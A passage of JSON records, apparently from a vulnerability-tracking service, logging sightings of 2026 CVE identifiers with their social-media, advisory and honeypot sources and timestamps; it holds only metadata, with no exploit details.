"2026-02-26T05:13:00.000000Z"}, {"uuid": "9bda967b-d80d-40ba-b9c5-5548c9e9b53f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20620", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mesl7kpiow2a", "content": "", "creation_timestamp": "2026-02-14T08:13:14.181524Z"}, {"uuid": "8014c673-18fa-4e4a-a269-2b1f3f0bbb5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfqqbxuwxr27", "content": "", "creation_timestamp": "2026-02-26T08:03:56.562421Z"}, {"uuid": "4ce7d149-d9c5-461a-92e9-8df73453052e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20614", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mesljt76vi2g", "content": "", "creation_timestamp": "2026-02-14T08:18:58.828429Z"}, {"uuid": "1b61fd5a-b14e-4052-88b3-dd83b2487bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mgg7kcqicj2h", "content": "", "creation_timestamp": "2026-03-06T21:02:59.812803Z"}, {"uuid": "6c401869-561e-4e41-96c3-d91d2d68852d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mgg7kcsqtw2q", "content": "", "creation_timestamp": "2026-03-06T21:03:00.389389Z"}, {"uuid": "a51ab98c-d446-4902-adc9-ec98cf405778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/firstpasslab.bsky.social/post/3mgdfudtaec2t", "content": "", "creation_timestamp": "2026-03-05T18:17:57.005069Z"}, {"uuid": "5705d7eb-8239-4bc5-a403-12fc21e93dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/firstpasslab.bsky.social/post/3mgchfscixn2r", "content": "", "creation_timestamp": "2026-03-05T09:12:56.591340Z"}, {"uuid": "c31c6702-0461-4ee8-ba16-7ff6410ad10d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/firstpasslab.bsky.social/post/3mgdfudtaec2t", "content": "", "creation_timestamp": "2026-03-05T18:17:57.098340Z"}, {"uuid": "e5bc1831-c12d-414c-bb65-a728064e5794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2038", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfn67fmhw32d", "content": "", "creation_timestamp": "2026-02-24T22:02:23.363154Z"}, {"uuid": "355ca04b-970f-4231-8d44-6398296b39a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mezurmhgci2w", "content": "", "creation_timestamp": "2026-02-17T05:53:03.136005Z"}, {"uuid": "fda707fd-f1ab-4791-929e-933d2dd7be68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2039", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfn67mrth52k", "content": "", "creation_timestamp": "2026-02-24T22:02:30.957961Z"}, {"uuid": "dd599606-0580-4121-abce-5bd23e1f9c38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20127", "type": "seen", "source": "https://bsky.app/profile/firstpasslab.bsky.social/post/3mgchgmoxkj2n", "content": "", "creation_timestamp": "2026-03-05T09:13:23.961494Z"}, {"uuid": "9e1509dd-9034-432a-bc5c-2b56c878c004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116171825746260869", "content": "", "creation_timestamp": "2026-03-04T16:23:04.628202Z"}, {"uuid": "dccd7b6b-69a5-4f6e-be97-77d9b2fe4878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "e2bb10d9-194c-48c9-a465-6d39ad12ecee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116171825746260869", "content": "", "creation_timestamp": "2026-03-04T16:23:04.728856Z"}, {"uuid": "4ca73bb9-b2cc-4e62-8ab2-980600e0c2ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20748", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mggaqdpf2i2b", "content": "", "creation_timestamp": "2026-03-06T21:24:12.577255Z"}, {"uuid": "728c07e6-d280-4392-ac80-7a343bf5aba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/cert-fr.bsky.social/post/3mfp5rpezz52n", "content": "", "creation_timestamp": "2026-02-25T17:00:07.512659Z"}, {"uuid": "6eee271a-8552-4560-9ae2-b1a145bb0881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mggasmzamy27", "content": "", "creation_timestamp": "2026-03-06T21:25:29.463529Z"}, {"uuid": "11a19884-7892-4c70-bced-3440087181ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/krutonium.social.treehouse.systems.ap.brid.gy/post/3mek6ug2ungy2", "content": "", "creation_timestamp": "2026-02-11T00:11:02.511433Z"}, {"uuid": "7c5ba8fd-5d86-4570-a6f5-af3bf30c2f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfp5rtagrx26", "content": "", "creation_timestamp": "2026-02-25T17:00:08.369853Z"}, {"uuid": "acfd9983-9e35-4378-be31-f9d572f17b08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/solonovamax.tech.lgbt.ap.brid.gy/post/3mek76encapx2", "content": "", "creation_timestamp": "2026-02-11T00:16:36.166161Z"}, {"uuid": "056be712-456c-4cc4-becf-fbab9e85675f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfp5rtagrx26", "content": "", "creation_timestamp": "2026-02-25T17:00:08.476796Z"}, {"uuid": "d5b4e1e1-de27-4e40-92cf-b228589666b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mggaudhl3r2x", "content": "", "creation_timestamp": "2026-03-06T21:26:26.893001Z"}, {"uuid": "7cf77034-3a5b-4d43-bc69-c1e7cd286894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/delta-vee.bsky.social/post/3mekaidqp7k2u", "content": "", "creation_timestamp": "2026-02-11T00:40:00.089559Z"}, {"uuid": "8c236e19-3f32-4f98-a557-cd3673446096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfp5rtagrx26", "content": "", "creation_timestamp": "2026-02-25T17:00:08.566149Z"}, {"uuid": "53009f4c-2b91-4f69-a6e6-dd803edd01eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfp5rtagrx26", "content": "", "creation_timestamp": "2026-02-25T17:00:08.671305Z"}, {"uuid": "93c4e31b-3c6d-4274-a29b-d0bb129e4463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2038", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfnbgvty7q23", "content": "", "creation_timestamp": "2026-02-24T23:00:16.614448Z"}, {"uuid": "309ed5d8-9624-49e6-9350-b3f435afa54b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfp5rtagrx26", "content": "", "creation_timestamp": "2026-02-25T17:00:08.761485Z"}, {"uuid": "c1b06f65-7537-4804-8934-9e9a3a3ea91f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mfs6xjzw6d2x", "content": "", "creation_timestamp": "2026-02-26T21:59:12.026379Z"}, {"uuid": "3aa96b14-915b-43b7-a1cc-1cdd7b46a23c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/cdn0x12.scg.owu.one/post/3meke6gfkojh2", "content": "", "creation_timestamp": "2026-02-11T01:46:02.709342Z"}, {"uuid": "b65d23dc-dcb7-40f0-88f9-2c13e2b42dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfp5rtagrx26", "content": "", "creation_timestamp": "2026-02-25T17:00:08.855640Z"}, {"uuid": "6401236f-52db-4e27-bcf5-912119ca7544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5922981", "content": "", "creation_timestamp": "2026-03-04T01:43:04.831637Z"}, {"uuid": "c6c631a4-0d8b-46ee-853b-2086457201e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-004-critical-vulnerability-affecting-cisco-catalyst-sd-wan-cve-2026-20127", "content": "", "creation_timestamp": "2026-02-25T15:07:47.000000Z"}, {"uuid": "e5b300fd-95ce-4be1-826c-26270c3a7e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/davimuir.bsky.social/post/3mfs7dc7wwc2m", "content": "", "creation_timestamp": "2026-02-26T22:05:48.080868Z"}, {"uuid": "cc9cddbd-a17f-4935-9890-3ef58ddd6e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5922982", "content": "", "creation_timestamp": "2026-03-04T01:43:05.771157Z"}, {"uuid": "d243a731-8550-4024-b2e8-5d3cc16ab8e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-166", "content": "", "creation_timestamp": "2026-02-25T13:28:27.000000Z"}, {"uuid": "597ff6a3-9d7b-4a01-863a-59c93b6e199e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5923010", "content": "", "creation_timestamp": "2026-03-04T01:43:59.147402Z"}, {"uuid": "c531e833-3888-4907-bcbe-2b100f38dab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mekglak3qx2w", "content": "", "creation_timestamp": "2026-02-11T02:29:00.894868Z"}, {"uuid": "47cd77b5-9f24-4c53-8060-6e0e3c1ed52d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20644", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116061640779169321", "content": "", "creation_timestamp": "2026-02-13T05:21:35.472232Z"}, {"uuid": "74ec847a-b4f4-4317-b944-d34112d2be10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mfqvb5ztz22v", "content": "", "creation_timestamp": "2026-02-26T09:32:58.378561Z"}, {"uuid": "f584f45b-6100-4366-95ee-6c8b2c73a749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20616", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116061694262732580", "content": "", "creation_timestamp": "2026-02-13T05:35:11.497386Z"}, {"uuid": "169fc9f8-440b-4556-9148-99af207f6b15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mfp5vfde3m2a", "content": "", "creation_timestamp": "2026-02-25T17:02:07.141756Z"}, {"uuid": "1bb71dce-3808-4005-990f-26acfa14b241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mepsuoih7r2j", "content": "", "creation_timestamp": "2026-02-13T05:52:19.760870Z"}, {"uuid": "d0587b42-1eef-4e34-a137-b0971dd23e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/global-news-2024.bsky.social/post/3mf3crzjw2s2j", "content": "", "creation_timestamp": "2026-02-17T19:36:28.469871Z"}, {"uuid": "375281bd-4e04-48ba-8605-6e327df50f9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20610", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116061800413108625", "content": "", "creation_timestamp": "2026-02-13T06:02:11.147245Z"}, {"uuid": "e0beff2e-eabc-4c34-86fd-ccbf12a181b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20781", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg43c53v5g2h", "content": "", "creation_timestamp": "2026-03-02T20:20:10.373289Z"}, {"uuid": "317de460-cde1-45f4-b1d3-747028dc10b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2036", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfnes5vy3t24", "content": "", "creation_timestamp": "2026-02-25T00:00:15.406569Z"}, {"uuid": "09821455-e062-405c-97ca-763f6b549ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mgdircjam672", "content": "", "creation_timestamp": "2026-03-05T19:09:59.020312Z"}, {"uuid": "ca63a1f4-7369-4707-8f66-aa41795c7b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3mepwpw4fvv2d", "content": "", "creation_timestamp": "2026-02-13T07:01:16.961011Z"}, {"uuid": "8ffce255-202b-4113-986d-9395089bb43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20107", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfp6zifo6m2x", "content": "", "creation_timestamp": "2026-02-25T17:22:17.822774Z"}, {"uuid": "1888fa28-3516-47e4-9859-8e5e2c600be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/cyberkendra.com/post/3mekif4nam22q", "content": "", "creation_timestamp": "2026-02-11T03:02:14.749437Z"}, {"uuid": "0f4d2679-f436-4092-b025-09c13419e1a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mgdj4nh6p7u2", "content": "", "creation_timestamp": "2026-03-05T19:16:18.077835Z"}, {"uuid": "7d6ae1fa-56dc-4579-a183-73cbd4d3fd72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfp7dlny7p62", "content": "", "creation_timestamp": "2026-02-25T17:29:39.224822Z"}, {"uuid": "63655b36-0739-4b84-8f6d-3c2bc6ab6482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20036", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfp7ia7tkx2v", "content": "", "creation_timestamp": "2026-02-25T17:30:32.483360Z"}, {"uuid": "27005416-8624-46ba-9ccb-feb9b45bed68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mepzjvbpic2i", "content": "", "creation_timestamp": "2026-02-13T07:51:48.229367Z"}, {"uuid": "c9cbbc86-e278-49f8-b6af-877d84843bcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20418", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdv23hkxqo2o", "content": "", "creation_timestamp": "2026-02-02T14:19:31.511485Z"}, {"uuid": "ab764ccb-8dc1-4605-8c2c-59ed3c1fd9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3meq24gwntc2f", "content": "", "creation_timestamp": "2026-02-13T08:01:57.478887Z"}, {"uuid": "40a2d0f6-7dc8-4e3d-b0c1-eff41b78746c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20419", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdv23oj3qx2a", "content": "", "creation_timestamp": "2026-02-02T14:19:38.468666Z"}, {"uuid": "cfbf17ef-fcb7-483c-bfa2-d2452a6f2a94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/kboyd.phpc.social.ap.brid.gy/post/3mekkbyrycrg2", "content": "", "creation_timestamp": "2026-02-11T03:35:27.933366Z"}, {"uuid": "c4fe60cc-bc38-4840-b0e3-9d616bdf6d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mentrmtiak2f", "content": "", "creation_timestamp": "2026-02-12T11:03:18.172930Z"}, {"uuid": "c3f74f7b-7221-4f7e-987a-032f69438a5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-10)", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "014e91b4-a63d-4e95-9f8c-41bd4fd8ae08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mentrtjykp2g", "content": "", "creation_timestamp": "2026-02-12T11:03:18.858970Z"}, {"uuid": "3628ead7-5e0f-4307-91fd-5e8b21ae80d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/tsfactoryllc.bsky.social/post/3menu5poh722q", "content": "", "creation_timestamp": "2026-02-12T11:09:58.732572Z"}, {"uuid": "f6a9dc82-64bb-423f-9ba7-d694989167f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mg5nrda5so2z", "content": "", "creation_timestamp": "2026-03-03T11:23:26.471638Z"}, {"uuid": "188ba8c7-2a8e-4551-a8d4-08518bd30cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfp7zskmoa2x", "content": "", "creation_timestamp": "2026-02-25T17:40:22.758773Z"}, {"uuid": "3ac4647a-831c-47b5-97aa-fe7d0bbf0717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.darkreading.com/vulnerabilities-threats/cisco-sd-wan-zero-day-exploitation-3-years", "content": "", "creation_timestamp": "2026-02-26T20:45:56.000000Z"}, {"uuid": "80a7d0aa-effc-401d-9191-af613c7e0459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/meeresstrahl.bsky.social/post/3melxjhueds2r", "content": "", "creation_timestamp": "2026-02-11T17:04:54.034590Z"}, {"uuid": "e7623500-821c-4078-815d-2ebd7f49a7f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/khalidabuhakmeh.mastodon.social.ap.brid.gy/post/3melxwam6rkv2", "content": "", "creation_timestamp": "2026-02-11T17:12:25.091067Z"}, {"uuid": "f828cccb-1613-48e3-9aea-180ec28633b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpa2lptbi2x", "content": "", "creation_timestamp": "2026-02-25T17:40:49.070186Z"}, {"uuid": "8d369274-c49a-4287-ae3c-91152436b722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116053115427198719", "content": "", "creation_timestamp": "2026-02-11T17:13:29.172632Z"}, {"uuid": "6605c9d7-e302-419d-854f-717d6c785f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/mm-hacker-news.bsky.social/post/3meq3ue7wav2h", "content": "", "creation_timestamp": "2026-02-13T08:33:12.938533Z"}, {"uuid": "dceae710-c115-4167-b7f3-8e5ff5d5b63f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20408", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdv5halads25", "content": "", "creation_timestamp": "2026-02-02T15:19:48.117970Z"}, {"uuid": "b067cbdb-a7bc-4203-845c-2c8bfbe9e028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20026", "type": "seen", "source": 